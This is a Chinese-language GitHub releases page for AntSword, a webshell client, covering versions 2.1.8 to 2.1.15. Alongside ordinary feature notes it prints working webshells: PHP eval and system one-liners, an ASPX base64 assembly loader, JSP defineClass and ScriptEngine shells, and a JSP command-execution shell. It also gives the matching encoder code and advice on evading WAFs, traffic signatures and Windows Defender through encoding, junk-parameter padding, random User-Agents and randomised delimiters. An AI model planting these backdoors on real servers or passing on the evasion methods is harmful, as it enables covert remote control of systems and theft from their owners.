Skip to content

Releases: AntSwordProject/antSword

AntSword v2.1.15

17 Jul 05:52
Compare
Choose a tag to compare

❗️本次更新涉及内容较多,请仔细阅读

核心

  • 修复 PHP/PHP4 当前目录不可写时 bypass open_basedir 失败的 Bug
  • ❗️❗️❗️ 新增 PHPRAW 类型, 该类型支持的 WebShell 类似如下代码:
<?php eval(file_get_contents("php://input"));?>

为了方便直连 Behinder3 WebShell, 编码器已内置。

  • ❗️❗️❗️新增 ASPXCSharp 类型

该类型支持的 WebShell 类似如下代码:

<%@ Page Language="c#"%>
<%
  String Payload = Request.Form["ant"];
  if (Payload != null)
  {
    System.Reflection.Assembly assembly = System.Reflection.Assembly.Load(Convert.FromBase64String(Payload));
    assembly.CreateInstance(assembly.GetName().Name + ".Run").Equals(null);
  }
%>

有关该类型的设计说明, 请参考聊聊新类型ASPXCSharp

  • ❗️❗️❗️新增 PSWindows 类型,与 CMDLinux 类似

基于命令执行的一句话类型, 仅支持 Windows 环境

该类型支持的 WebShell 类似如下代码:

<?php system($_POST["ant"]);?>

有关 PSWindows 的一些注意事项和原理说明, 请参考新类型 PSWindows 预览

  • ❗️❗️❗️JSPJS 兼容各种表达式注入

具体请看 spelbase64、el、ognl 这三个内置编码器样例, 详细请参考Java表达式注入的武器化利用

数据管理

  • 优化了编辑 Shell 信息时,URL后缀发生改变后连动修改「连接类型」功能
  • 优化插件快捷设置,修正过多快捷设置后对UI影响(Fix #303)
  • 修复 JSP/MySQL类型在表名中有特殊字符时执行异常的 Bug (thx @powersploit)
  • ❗️❗️新增配置选项「Body 设置为 RAW 模式」

勾选该选项后,只会发送 pwd 键下的内容,不会发送键值
目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」

主要场景如下:

// 连接类型 CMDLinux, 勾选 「Body 设置为 RAW 模式」后可连接
<?php system(file_get_contents("php://input"));?>

文件管理

  • ❗️新增 FileHash 计算目标文件 hash 功能

该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS

后端模块

  • 支持自定义 Content-Type, 默认是 form

superagent 支持的 type 简写如下, 当然也支持填写全称:

html: 'text/html',
json: 'application/json',
xml: 'text/xml',
urlencoded: 'application/x-www-form-urlencoded',
form: 'application/x-www-form-urlencoded',
form-data: 'application/x-www-form-urlencoded'
  • Fix #307
  • 重新规整 modules/request.js 代码结构
  • 调整 superagent ignoreHTTPS 注入,避免 npm upgrade之后引发问题
  • ❗️❗️❗️支持 WebSocket 连接

由于 ASP/ASPX/ASPXCharp/PHP/JSP/CUSTOM 类型每次请求时为多个参数,WebSocket连接之后Server端解析会较为困难,所以当前仅支持「RAW」类型: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」,未来会支持基于 defineClass 的 JSPRAW 类型

wsMemShell 项目中的 wscmd 为例:

URL: ws://127.0.0.1:8080/demoendpoint
PWD: 随便填写
连接类型: CMDLinux
Encoder: default (明文, 这个是WebShell端决定的)
Decoder: 根据情况自由选择

注意: 由于 antSword 历史设计原因,WebSocket 连接方式暂时只能每次操作都重新建立一次连接,在传输结束后自动与Server端断开

设置模块

  • 优化了新增Core类型时,编码设置解析逻辑, 现在不需要再改该模块的源代码了
  • ❗️❗️优化全局代理设置, 代理在设置完后不需要再重启了

其它

如需自己更新请下载后替换 static/libs/qqwry.dat 文件

  • 升级 superagent 到 6.1.0 (再高的版本需要高版本Electron支持)
  • 升级 superagent-proxy 到 v3.0.0

AntSword v2.1.14

25 Jul 03:57
Compare
Choose a tag to compare

核心

  • ❗️❗️❗️新增 CMDLINUX Shell 类型

基于命令执行的一句话类型, 仅支持 Linux 环境

只要有一个可以执行命令的点, 就可以快乐起来 :) 更多内容见这篇文章

  • PHP:
<?php system($_POST['ant']);?>
  • 比较流行的 JSP 命令执行 WebShell
<%
  if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
    int a = -1;
    byte[] b = new byte[1];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
      out.print(new String(b));
    }
    out.print("</pre>");
  }
%>

注意: Runtime.exec 方法直接传入字符串时不支持多条命令拼接,需要使用数组方式

  • 简化新增类型后Shell创建步骤

数据库管理

  • 新增 CMDLINUX 类型数据库管理(支持 mysql、sqlite3)

利用 mysql和sqlite3 客户端命令,需要目标上有对应的二进制

  • 修复 PHP SQLite 下自动生成的 sql 语句语法错误的 Bug

系统设置

  • 编码管理支持 cmdlinux 类型

在使用 cmdlinux 类型时,如果接收参数在 HTTP Header 部分, 请务必使用编码器,因为部分 Payload 有换行符

eg:

WebShell:

<?php system(base64_decode($_SERVER["HTTP_CMD"])); ?>

对应该的编码器如下:

'use strict';

module.exports = (pwd, data, ext={}) => {
  let headers = ext.opts.httpConf.headers;
  headers[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}
  • 解码器支持 CMDLinux

base64 解码器:

/**
 * cmdlinux::base64解码器
 */

'use strict';

module.exports = {
  asoutput: () => {
    return `asenc(){ base64 "$@"; };` // 注意此处是 Shell 语法
  },
  decode_buff: (buff) => {
    return Buffer.from(buff.toString(), 'base64');
  }
}

AntSword v2.1.13

19 Jun 04:47
Compare
Choose a tag to compare

核心

  • ❗️❗️❗️新增 JSPJS Shell 类型 (Author: @yzddmr6)

基于 js 引擎的 jsp 一句话类型, jdk >= 6
相较于 jsp defineClass 实现,该方式的数据包大小明显小了不少

设计思路请参考: https://xz.aliyun.com/t/9715

值得一提的是,JSPJS 类型可以通过「迂回」的方式去「直接使用」原来的 JSP 类型 WebShell, 留给大家去探索了

❗️请耐心看完下面的 Note❗️

目前该类型默认生成的 WebShell 如下:

<%
  try {
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(request.getParameter("ant"));
  } catch (Exception e) {
    out.println("Error:// "+e.toString());
  }
%>

在流量层上和 PHP 最基础的WebShell <?php eval($_POST['ant']);?> 一样具有明显特征,不建议使用, 请配合自定义编码器进行:

eg: b64pass 编码器

'use strict';

module.exports = (pwd, data) => {
  data[pwd] = Buffer.from(data['_']).toString('base64');
  delete data['_'];
  return data;
}

对应 WebShell 如下:

<%!
public byte[] base64Decode(String str) throws Exception {
  Class base64;
  byte[] value = null;
  try {
    base64=Class.forName("sun.misc.BASE64Decoder");
    Object decoder = base64.newInstance();
    value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] {String.class }).invoke(decoder, new Object[] { str });
  } catch (Exception e) {
    try {
      base64=Class.forName("java.util.Base64");
      Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
      value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { str });
    } catch (Exception ee) {}
  }
  return value;
}
%>
<%
  try {
    javax.script.ScriptEngine engine = new javax.script.ScriptEngineManager().getEngineByName("js");
    engine.put("request", request);
    engine.put("response", response);
    engine.eval(new String(base64Decode(request.getParameter("ant"))));
  } catch (Exception e) {
    out.println("Error:// "+e.toString());
  }
%>

请自行对照最基础的 WebShell 样例自由发挥 :)

  • ❗️PHP/PHP4 类型增加 Bypass open_basedir, 自动尝试

利用的是 chdir('..'); 方式, 仅在目标配置了 open_basedir 后才会自动尝试

该功能会影响之前版本 PHP Bypass DisableFunc 插件, 请及时更新插件

虚拟终端

  • 虚拟终端显示文字样式调亮(thx @Nearg1e 帮我们暗中收集调研了一波需求)
  • ❗️终端执行命令路径分割符由固定的[S][E]改为随机字符串

别问, 要问就去问 Windows Defender

数据管理

  • 开启代理情况下在数据管理状态栏会有提示

后端模块

  • 修复 multipart 发包方式下, 编码器中 data 内容不为字符串时异常

eg:

'use strict';

module.exports = (pwd, data) => {
  data['test'] = 123; // 这里会引发异常
  data[pwd] = data['_'];
  delete data['_'];
  return data;
}

插件相关

  • ExecuteScript 支持 JSPJS 类型
  • GenShell 支持 JSPJS 类型 Shell 生成
  • Bypass disable_function
    • 修正 bypass open_basedir 场景下上传路径问题
    • .antproxy.php 上传至与 Webshell 同路径下
    • php -S 利用方式会在界面显示开启的临时端口
  • PortScan 支持 JSPJS 类型
  • Out-of-Network 支持 JSPJS 类型

AntSword v2.1.12

15 May 01:18
Compare
Choose a tag to compare

核心

  • JSP Template 升级至 v1.6
    • equals支持数组传参方式,兼容各种容器
    • build.py中可以手动指定版本号编译,不再需要下载指定jdk
    • 部分变量转为类属性,方便调试
    • 修正 insert/update/delete 语句无法执行问题

所需要的 WebShell 可使用 GenShell 插件来生成

数据管理

  • 优化出错提示
  • PHP 类型新增 SQLite_PDO 支持
  • PHP 类型新增 SQLite3 支持

插件相关

  • GenShell 升级到 v0.4

  • 兼容 JSP Template v1.6

AntSword v2.1.11.1

31 Mar 14:23
Compare
Choose a tag to compare

核心

  • 修复 PHP 类型数据库连接在PHP7下函数废除引起的问题

AntSword v2.1.11

27 Mar 05:43
Compare
Choose a tag to compare

后端模块

  • ❗️❗️修改发包默认 UserAgent 为 随机 User-Agent
  • 修复 Chunk 发包下 Download 异常问题 #272 (thx @c2xusnpq6)
  • 修复 Download 在 chunk 和 multipart 发包模式下 asunescape 不生效的问题

核心

  • ❗️JSP 类型支持「解码器」
  • 「解码器」 asoutput 新增传入参数 ext, 结构如下:
{
  opts: opts: 类型为 Object, Shell 配置
}
  • 修复使用 default 编码器服务端其它函数输出 payload 时数据分割解析的问题

eg:

<?php phpinfo();eval($_POST['ant']);phpinfo();?>

因为 phpinfo(); 会显示发送的 payload, 发送的 payload 中含有数据分割符,导致分割出错

  • ❗️ 移除 random 编码器

能够适配所有编码器的Shell比较少, 这个功能就略显鸡肋, 我们决定移除它

  • ❗️JSP Template 升级至 v1.5
    • 支持解码器(返回包加密)
    • 兼容 JDK5
    • 修复base64编码问题&改正错别字
    • 修改获取当前目录的方式

其它

  • ❗️❗️优化窗口关闭逻辑 #245

  • 点击最小化时,不再最小化至系统托盘。点击窗口的关闭按钮,最小化至系统托盘。

  • 点击托盘菜单中的「退出」程序退出。

  • 点击菜单中的「退出程序」程序退出。

  • 「编码管理」新增新建「JSP解码器」

AntSword v2.1.10

06 Feb 09:46
Compare
Choose a tag to compare

核心

  • ❗️升级 JSP Template 到 v1.4
    • 兼容 JDK6
    • 兼容 Weblogic 内存 Webshell
    • 优化报错信息
    • 解决 Windows下中文乱码的问题(win选择GBK编码,linux选择UTF-8编码)
    • 实战中只能获取到response的情况几乎没有,所以为了减少payload体积不再支持response作为入口参数
    • 增加用于测试 payload 的Web项目
    • 修复 java -jar xxx.war 启动时当前目录获取失败的问题

数据管理

  • ❗️修复 context menu category self-xss (thx @lixuesv)

其它

非常有幸能够加入星链计划, 大家有空可以了解一下星链计划,有许多很酷的安全项目, 你一定不想错过

插件相关

  • ❗️As-Exploits 升级到 v1.1

    • 增加对aspx类型的支持
    • 增加提权辅助模块(aspx/jsp/php)
    • 增加屏幕截图模块(jsp)
    • 增加shellcode加载器模块(aspx)
    • 仅展示当前类型可用模块,不可用模块不再显示
  • ❗️GenShell 升级到 v0.2

    新增 asp、aspx、jsp 三种 Shell 类型生成

  • AS_Redis 升级到 v0.4

    支持 jsp 类型

  • PortScan 升级到 v0.3

    支持 jsp、php4 类型

  • as_netstat 升级到 v0.2

    支持所有类型

AntSword v2.1.9

10 Sep 15:34
Compare
Choose a tag to compare

核心

  • 新增 JSP 类型一句话支持 (试验功能)

使用的 Shell 例如:

<%!
class U extends ClassLoader{
  U(ClassLoader c){
    super(c);
  }
  public Class g(byte []b){
    return super.defineClass(b,0,b.length);
  }
}
%>
<%
String cls=request.getParameter("ant");
if(cls!=null){
  new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext);
}
%>

JSP 类型目前采用硬编码字节码方式, 编译版本为 jdk 1.7, 可根据使用场景自行编译。

代码模版参见: https://github.com/AntSwordProject/AntSword-JSP-Template

注意

JSP 类型 Shell 修改文件权限功能,不支持 Windows 系统,在 Linux 系统下不支持 SUID 设置

例如设置为 2644 实际上与 0644 效果相同

  • 新增其他参数增加随机前缀

后端模块

  • request 增加垃圾数据填充功能 (thx: @yzddmr6)

支持 form-data 和 multipart 模式

mass_1.png

mass_2.png

mass_3.png

该模块不会改变 payload, 仅会填充垃圾数据, 部分基于 nginx 二次开发的 WAF 会因为过多参数导致 WAF 获取不到后面的数据,从而达到 Bypass 目的。

测试 paper 参见: yzddmr6的 Blog —— 蚁剑改造计划之增加垃圾数据

Security

  • Fix ViewSite security issue #256

其它

  • 插件支持的脚本类型支持通配符 *

如果插件的 package.json 文件中的 scripts 设置为 *, 则可被所有类型的插件调用。

AntSword v2.1.8.1

04 Dec 09:35
Compare
Choose a tag to compare

AntSword v2.1.8

04 Dec 07:09
Compare
Choose a tag to compare

核心

  • 修复全局过滤 xss 时 text 和 buff 过滤规则不一致问题
  • core.command.exec 增加第 3个参数 env

格式为: key1|||askey|||val1|||asline|||key2|||askey|||val2|||asline|||

对应的环境变量为:

key1=val1
key2=val2

数据管理

  • ❗️新增「自定义数据分割符」配置

你可以将任何你喜欢的字符组合定义成数据的「起始符」或「结束符」

data_separtor_1.png

data_separtor_2.png

  • 修复「创建副本」时不会同步 decoder 的问题

文件管理

  • ❗️编辑文件新增「刷新」按钮

如果服务器上的文件内容发生改变, 再也不需要关掉重打开了

  • 新建文件默认内容更改为 #Halo AntSword!

  • ❗️编辑文件文件路径改为输入框, 现在可以手动输入文件路径后, 按 Enter 键快速打开文件了

file_manager_filepath.png

虚拟终端

  • ❗️新增 asenv 本地指令, 用于手动设置当前终端下的环境变量

Linux:

terminal_asenv_1.png

Windows:

terminal_asenv_2.png

注意: asp 下设置之后, 当前机器上的IIS子进程都会受影响, 过一段时间子进程退出后正常

  • ❗️新增 aswinmode 本地指令, 在自动识别操作系统错误时, 可使用该指令手动切换命令行运行的模式 (#229 thx @nullnull1604-outlook)

terminal_aswinmode.png

其它

  • ACE 编辑器增加 ace/mode/antswordjwt 语法模式, 支持 JWT Token 语法高亮